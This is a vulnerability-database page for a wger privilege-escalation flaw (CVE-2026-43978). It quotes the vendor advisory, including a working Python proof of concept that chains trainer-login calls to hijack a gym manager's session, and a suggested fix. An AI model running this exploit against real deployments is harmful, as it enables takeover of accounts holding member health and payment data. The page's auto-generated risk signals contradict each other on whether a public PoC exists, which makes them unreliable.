Skip to main content

wger CVE-2026-43978

HIGH
Improper Privilege Management (CWE-269)
2026-05-14 https://github.com/wger-project/wger GHSA-9qpr-vc49-hqg2
8.1
CVSS 3.1 · Vendor: https://github.com/wger-project/wger
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain gym trainer credentials
  2. Delivery
    Authenticate to wger instance
  3. Exploit
    Perform legitimate trainer-login to low-privilege user
  4. Install
    Session flag 'trainer.identity' set
  5. C2
    Call trainer-login targeting gym manager ID
  6. Execute
    Permission check bypassed via session flag
  7. Impact
    Gain gym manager session
  8. Step 8
    Access member PII and admin functions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Least privilege enforcement
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) Valid authenticated gym trainer account ('gym.gym_trainer' permission) in the target wger instance. (2) Existence of at least one gym manager or general manager account within the same gym organization (target user must have 'gym.manage_gym' or 'gym.manage_gyms' permissions). (3) Knowledge of target manager's user primary key (ID) - obtainable via API enumeration (/api/v2/userprofile/) or predictable integer PKs. (4) Network access to the wger application HTTP interface (AV:N). No special configuration required beyond default wger multi-user gym setup. Attack does NOT require: non-default features, user interaction (UI:N), or elevated privileges beyond standard trainer role (PR:L). Limiting factors: attacker must already possess or compromise a trainer account (insider threat or credential theft scenario); exploitation is scoped to accounts within the same gym (multi-gym deployments partially compartmentalize risk). The CVSS vector AV:N/AC:L/PR:L/UI:N/S:U confirms network-accessible exploitation against default configurations requiring only low-privilege authenticated access.

Impact

Real-world risk is HIGH for multi-tenant wger deployments. CVSS 8.1 reflects: AV:N (network-exploitable via HTTP), AC:L (trivial logic flaw), PR:L (requires low-privilege gym trainer account), UI:N (no user interaction), S:U (scope unchanged - compromise stays within wger application), C:H+I:H (full read/write access to gym data), A:N (no availability impact). GitHub advisory includes a working proof-of-concept requiring only HTTP requests and valid trainer credentials. Attack complexity is extremely low - PoC is 30 lines of Python using standard requests library. No authentication beyond initial gym trainer access is needed, making this exploitable by any insider with trainer role. EPSS data is unavailable, preventing statistical risk comparison, but PoC availability and insider-threat scenario (disgruntled staff, social-engineered accounts) drive up likelihood. Not in CISA KEV, indicating no widespread exploitation detected, though this is a new disclosure (CVE-2026 series suggests recent assignment). Scope is unchanged (S:U) - the attacker remains within the wger application but gains manager-level access to sensitive member health data, payment information, and gym operations. SSVC framework indicates: Exploitation=POC, Automatable=Yes (chained HTTP calls), Technical Impact=Total (within gym context). Deployment-specific risk multiplier: organizations with weak trainer account vetting or shared trainer credentials face higher exposure. Key missing data: patch release timeline and affected version granularity (advisory states ≤2.5 but no precise lower bound). No evidence of active exploitation, but the trivial PoC and insider-access vector mean defenders should treat this as immediately actionable.

Exploit ScenarioDerived

An authenticated gym trainer (e.g., recently hired staff or contractor with standard trainer credentials) first performs a legitimate session switch into a low-privilege gym member account using the trainer-login endpoint - this sets the trainer.identity session flag. The attacker then immediately calls trainer-login again, this time targeting a gym manager account (user ID enumerable via /api/v2/userprofile/ or predictable incremental PKs). The flawed permission check at line 169 evaluates the session flag alone and bypasses authorization, granting the trainer full manager session access. The attacker now views all member PII (health data, payment info), modifies gym contracts, reconfigures access permissions, or exfiltrates member databases via API endpoints. Publicly available proof-of-concept from GitHub advisory demonstrates end-to-end exploitation requiring only HTTP library and valid trainer login.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Privilege escalation in wger fitness manager allows gym trainers to impersonate gym managers via session-chain attack. An authenticated trainer exploits flawed session-flag logic in the trainer-login endpoint to bypass permission checks - first switching into a low-privilege user, then leveraging the inherited 'trainer.identity' session flag to hop into manager accounts. Publicly available proof-of-concept demonstrates complete takeover of gym administration with CVSS 8.1 (network-accessible, low complexity). No vendor patch confirmed at time of analysis; vulnerability actively disclosed by wger-project GitHub advisory GHSA-9qpr-vc49-hqg2. EPSS score not available, not in CISA KEV. Root cause is CWE-269 (improper privilege management) in core/views/user.py lines 169-178.

RemediationAI

No vendor-released patched version is confirmed at time of analysis - the advisory lists 'fixed in: None'. Organizations should monitor https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2 for patch release announcements. Interim compensating controls: (1) Apply the suggested code fix from the advisory (wger/core/views/user.py lines 169-178) by manually patching the installation - replaces AND logic with explicit validation of original trainer's persistent permissions. Trade-off: requires code modification and testing; breaks on upstream updates. (2) Disable the trainer-login endpoint entirely by removing URL route if session-switching is not operationally required. Trade-off: eliminates legitimate trainer workflow for member impersonation. (3) Implement application-layer firewall rules to block repeated POST/GET to /en/user/{id}/trainer-login within single session if endpoint must remain active. Trade-off: may block legitimate multi-user training sessions; requires WAF with session tracking. (4) Enforce strict audit logging and anomalous privilege-switch detection (trainer→manager hops) with immediate session revocation. Trade-off: detective not preventive; requires SIEM integration. (5) Apply principle of least privilege by reviewing gym trainer role assignments and removing 'gym.gym_trainer' permission from accounts not requiring session-switching. Trade-off: operational overhead; does not eliminate risk from remaining trainers. Priority: organizations handling sensitive member health data (GDPR, HIPAA contexts) should apply code patch or disable endpoint immediately pending official release.

Affected Packages

pypi wger no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

wger is a Python-based open-source fitness/workout management platform (pip package wger). The vulnerability resides in the trainer-login session-switching mechanism, implemented in wger/core/views/user.py. The endpoint permits gym trainers (role 'gym.gym_trainer') to impersonate gym members for training purposes. The permission check at line 169 uses short-circuit AND logic ('not has_perm AND not session_flag'), allowing the session flag alone to authorize subsequent switches after the first legitimate hop. This is a CWE-269 (Improper Privilege Management) flaw - the authorization check relies on a mutable session attribute rather than validating the original authenticated user's persistent role. The design confuses 'current request user' with 'original authorizing user', creating a TOCTOU (Time-of-Check-Time-of-Use) gap across chained requests. CPE pkg:pip/wger identifies affected deployments; versions ≤2.5.0a2 are confirmed vulnerable per advisory.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/wger-project/wger) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/wger-project/wger) · only source for this CVE.

CVSS VectorVendor: https://github.com/wger-project/wger

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169-178, the permission check uses an AND condition:

python
# Line 169 - passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()
# Line 173 - only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

python
import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED - trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT - now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' - full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

<img width="728" height="628" alt="image" src="https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5" />

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped - allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.

Vulnerable code (user.py:169-178):

if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Suggested fix:

trainer_identity_pk = request.session.get('trainer.identity')

if not request.user.has_perm('gym.gym_trainer'):
    if not trainer_identity_pk:
        return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
    if not original_trainer.has_perm('gym.gym_trainer'):
        return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Executive ViewAI

Why It Matters

CVE-2026-43978 is a privilege escalation vulnerability in wger fitness manager that allows authenticated trainers to escalate privileges and assume gym manager accounts through session manipulation, potentially enabling unauthorized administrative control of gym operations. Organizations deploying wger for fitness facility management face risk of operational disruption, data compromise, and loss of administrative oversight if trainer accounts are compromised.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to wger trainer-login endpoint via firewall/WAF rules; (2) Enforce additional authentication (reverse proxy MFA, IP allowlisting) for trainer accounts; (3) Implement continuous session anomaly detection and audit trainer-to-manager privilege transitions; (4) Reduce active trainer account count to essential personnel only; (5) Monitor GitHub GHSA-9qpr-vc49-hqg2 for patch availability.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Affected Products (CPE)CVE.org

pkg:pip/wger

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy